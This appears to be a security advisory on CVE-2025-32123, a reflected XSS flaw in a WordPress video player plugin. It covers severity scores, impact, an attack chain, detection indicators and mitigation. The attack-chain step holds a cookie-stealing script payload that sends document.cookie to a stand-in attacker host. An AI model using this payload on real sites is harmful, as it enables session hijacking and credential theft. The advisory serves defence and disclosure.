CVE-2025-32123: 
WordPress vulnerability analysis and mitigation

CVE-2025-32123 is a Reflected Cross-Site Scripting (XSS) vulnerability in the HTML5 Video Player with Playlist & Multiple Skins WordPress plugin (plugin slug: lbg-vp2-html5-rightside) developed by LambertGroup. It affects all versions from n/a through 5.3.5. The vulnerability was disclosed on January 22, 2026, with the CVE assigned by Patchstack. The CNA (Patchstack) assigned a CVSS v3.1 base score of 7.1 (High), while an earlier CISA-ADP score of 6.1 (Medium) was subsequently superseded (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). It is a Reflected XSS flaw, meaning user-supplied input is incorporated into the HTTP response without adequate sanitization or encoding, allowing malicious scripts to be reflected back to the victim's browser. Exploitation requires no authentication (no privileges required) but does require user interaction — typically a victim clicking a crafted malicious URL. The attack vector is network-based with low complexity (Feedly, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, defacement of page content as seen by the victim, redirection to malicious sites, or delivery of further malware payloads. The CVSS scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component itself, affecting the user's browser environment (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-32123. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the lbg-vp2-html5-rightside plugin at version 5.3.5 or earlier using tools such as WPScan or passive enumeration via search engines.
2. Identify vulnerable parameter: Locate the plugin's front-end page or shortcode output that reflects unsanitized user input (e.g., a URL query parameter processed by the plugin).
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with an XSS payload, such as https://victim-site.com/page-with-plugin?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user via phishing email, social engineering, or embedding in another page.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Feedly, Patchstack).

• Network: HTTP requests to WordPress pages hosting the lbg-vp2-html5-rightside plugin containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: Web server access logs showing GET requests with suspicious query strings containing XSS payloads directed at pages using the plugin's shortcode.
• Browser/Client-Side: Unexpected redirects or outbound connections from victim browsers to unknown external domains following visits to plugin-rendered pages.

WordPress site administrators should update the HTML5 Video Player with Playlist & Multiple Skins plugin to a version beyond 5.3.5 if a patched release is available from the plugin author (LambertGroup). If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack).